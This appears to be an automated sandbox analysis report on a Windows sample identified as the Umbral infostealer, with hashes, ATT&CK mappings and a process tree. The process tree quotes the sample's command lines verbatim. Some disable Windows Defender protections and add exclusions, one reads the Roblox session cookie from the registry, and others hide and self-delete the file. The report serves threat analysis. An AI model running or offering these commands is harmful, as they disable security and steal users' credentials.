umbral | b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361

Analysis

max time kernel
90s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
25-01-2025 00:39

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General

Target

b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe
Size

229KB
MD5

279b7dad4be41fbc9bdefe4e7a47e894
SHA1

6d07ef9bff3877c69ecc3755c5aeada418c7225a
SHA256

b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361
SHA512

36d0a56e4c4918ed0d0ba42b8f424f9fee8a88f10649a8e18a09e99a8f2333d932e6c56243f7f75b34afae595ba58b90383b86aecc4b9046a00effec592ea748
SSDEEP

6144:tloZM+rIkd8g+EtXHkv/iD4/E0fAmB5Kz/Cwhl0Adb8e1mc3liI:voZtL+EP8/E0fAmB5Kz/Cwhl007cI

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2464-1-0x0000000000220000-0x0000000000260000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2780	powershell.exe
2776	powershell.exe
2752	powershell.exe
944	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe

Deletes itself 1 IoCs

pid	Process
1592	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1592	cmd.exe
2192	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2164	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2192	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe
2780	powershell.exe
2776	powershell.exe
2752	powershell.exe
2492	powershell.exe
944	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe
Token: SeIncreaseQuotaPrivilege	2896	wmic.exe
Token: SeSecurityPrivilege	2896	wmic.exe
Token: SeTakeOwnershipPrivilege	2896	wmic.exe
Token: SeLoadDriverPrivilege	2896	wmic.exe
Token: SeSystemProfilePrivilege	2896	wmic.exe
Token: SeSystemtimePrivilege	2896	wmic.exe
Token: SeProfSingleProcessPrivilege	2896	wmic.exe
Token: SeIncBasePriorityPrivilege	2896	wmic.exe
Token: SeCreatePagefilePrivilege	2896	wmic.exe
Token: SeBackupPrivilege	2896	wmic.exe
Token: SeRestorePrivilege	2896	wmic.exe
Token: SeShutdownPrivilege	2896	wmic.exe
Token: SeDebugPrivilege	2896	wmic.exe
Token: SeSystemEnvironmentPrivilege	2896	wmic.exe
Token: SeRemoteShutdownPrivilege	2896	wmic.exe
Token: SeUndockPrivilege	2896	wmic.exe
Token: SeManageVolumePrivilege	2896	wmic.exe
Token: 33	2896	wmic.exe
Token: 34	2896	wmic.exe
Token: 35	2896	wmic.exe
Token: SeIncreaseQuotaPrivilege	2896	wmic.exe
Token: SeSecurityPrivilege	2896	wmic.exe
Token: SeTakeOwnershipPrivilege	2896	wmic.exe
Token: SeLoadDriverPrivilege	2896	wmic.exe
Token: SeSystemProfilePrivilege	2896	wmic.exe
Token: SeSystemtimePrivilege	2896	wmic.exe
Token: SeProfSingleProcessPrivilege	2896	wmic.exe
Token: SeIncBasePriorityPrivilege	2896	wmic.exe
Token: SeCreatePagefilePrivilege	2896	wmic.exe
Token: SeBackupPrivilege	2896	wmic.exe
Token: SeRestorePrivilege	2896	wmic.exe
Token: SeShutdownPrivilege	2896	wmic.exe
Token: SeDebugPrivilege	2896	wmic.exe
Token: SeSystemEnvironmentPrivilege	2896	wmic.exe
Token: SeRemoteShutdownPrivilege	2896	wmic.exe
Token: SeUndockPrivilege	2896	wmic.exe
Token: SeManageVolumePrivilege	2896	wmic.exe
Token: 33	2896	wmic.exe
Token: 34	2896	wmic.exe
Token: 35	2896	wmic.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeIncreaseQuotaPrivilege	2208	wmic.exe
Token: SeSecurityPrivilege	2208	wmic.exe
Token: SeTakeOwnershipPrivilege	2208	wmic.exe
Token: SeLoadDriverPrivilege	2208	wmic.exe
Token: SeSystemProfilePrivilege	2208	wmic.exe
Token: SeSystemtimePrivilege	2208	wmic.exe
Token: SeProfSingleProcessPrivilege	2208	wmic.exe
Token: SeIncBasePriorityPrivilege	2208	wmic.exe
Token: SeCreatePagefilePrivilege	2208	wmic.exe
Token: SeBackupPrivilege	2208	wmic.exe
Token: SeRestorePrivilege	2208	wmic.exe
Token: SeShutdownPrivilege	2208	wmic.exe
Token: SeDebugPrivilege	2208	wmic.exe
Token: SeSystemEnvironmentPrivilege	2208	wmic.exe
Token: SeRemoteShutdownPrivilege	2208	wmic.exe
Token: SeUndockPrivilege	2208	wmic.exe
Token: SeManageVolumePrivilege	2208	wmic.exe
Token: 33	2208	wmic.exe
Token: 34	2208	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 2896	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	30
PID 2464 wrote to memory of 2896	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	30
PID 2464 wrote to memory of 2896	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	30
PID 2464 wrote to memory of 1448	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	33
PID 2464 wrote to memory of 1448	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	33
PID 2464 wrote to memory of 1448	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	33
PID 2464 wrote to memory of 2780	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	35
PID 2464 wrote to memory of 2780	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	35
PID 2464 wrote to memory of 2780	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	35
PID 2464 wrote to memory of 2776	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	37
PID 2464 wrote to memory of 2776	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	37
PID 2464 wrote to memory of 2776	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	37
PID 2464 wrote to memory of 2752	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	39
PID 2464 wrote to memory of 2752	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	39
PID 2464 wrote to memory of 2752	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	39
PID 2464 wrote to memory of 2492	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	41
PID 2464 wrote to memory of 2492	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	41
PID 2464 wrote to memory of 2492	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	41
PID 2464 wrote to memory of 2208	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	43
PID 2464 wrote to memory of 2208	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	43
PID 2464 wrote to memory of 2208	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	43
PID 2464 wrote to memory of 2732	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	45
PID 2464 wrote to memory of 2732	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	45
PID 2464 wrote to memory of 2732	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	45
PID 2464 wrote to memory of 2372	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	47
PID 2464 wrote to memory of 2372	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	47
PID 2464 wrote to memory of 2372	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	47
PID 2464 wrote to memory of 944	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	49
PID 2464 wrote to memory of 944	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	49
PID 2464 wrote to memory of 944	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	49
PID 2464 wrote to memory of 2164	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	51
PID 2464 wrote to memory of 2164	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	51
PID 2464 wrote to memory of 2164	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	51
PID 2464 wrote to memory of 1592	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	53
PID 2464 wrote to memory of 1592	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	53
PID 2464 wrote to memory of 1592	2464	b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe	53
PID 1592 wrote to memory of 2192	1592	cmd.exe	55
PID 1592 wrote to memory of 2192	1592	cmd.exe	55
PID 1592 wrote to memory of 2192	1592	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1448	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe
"C:\Users\Admin\AppData\Local\Temp\b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe"
  2⤵
  - Views/modifies file attributes
  PID:1448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2732
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:944
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2164
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\b5b55f24a20bf036b8bd5b0475e8050ce8eff7fc97541c3805ba04f7dda6b361.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7b82e3a8b22e723415b2dd8bf45e5423

SHA1
7f3d843b76e5ce3578042a8f70b49fb04f0c4099

SHA256
ad9acaf5c9b4225f3065d0bf2ea64d7bc415734ec346dc337ff5db8d89026984

SHA512
7d8fc29481103d7c87e6d1e19950becb70b842fb9fa53a9dd6c3188374ce017e9ff21b236bdc22357f3068e65858ec44caa1d1cc101334b45ce5cd3365082e8b

Download Submit
memory/944-44-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/944-45-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2464-0-0x000007FEF5AF3000-0x000007FEF5AF4000-memory.dmp

Filesize
4KB

Download
memory/2464-1-0x0000000000220000-0x0000000000260000-memory.dmp

Filesize
256KB

Download
memory/2464-2-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2464-49-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2776-14-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2776-15-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2780-7-0x000000001B4B0000-0x000000001B792000-memory.dmp

Filesize
2.9MB

Download
memory/2780-8-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download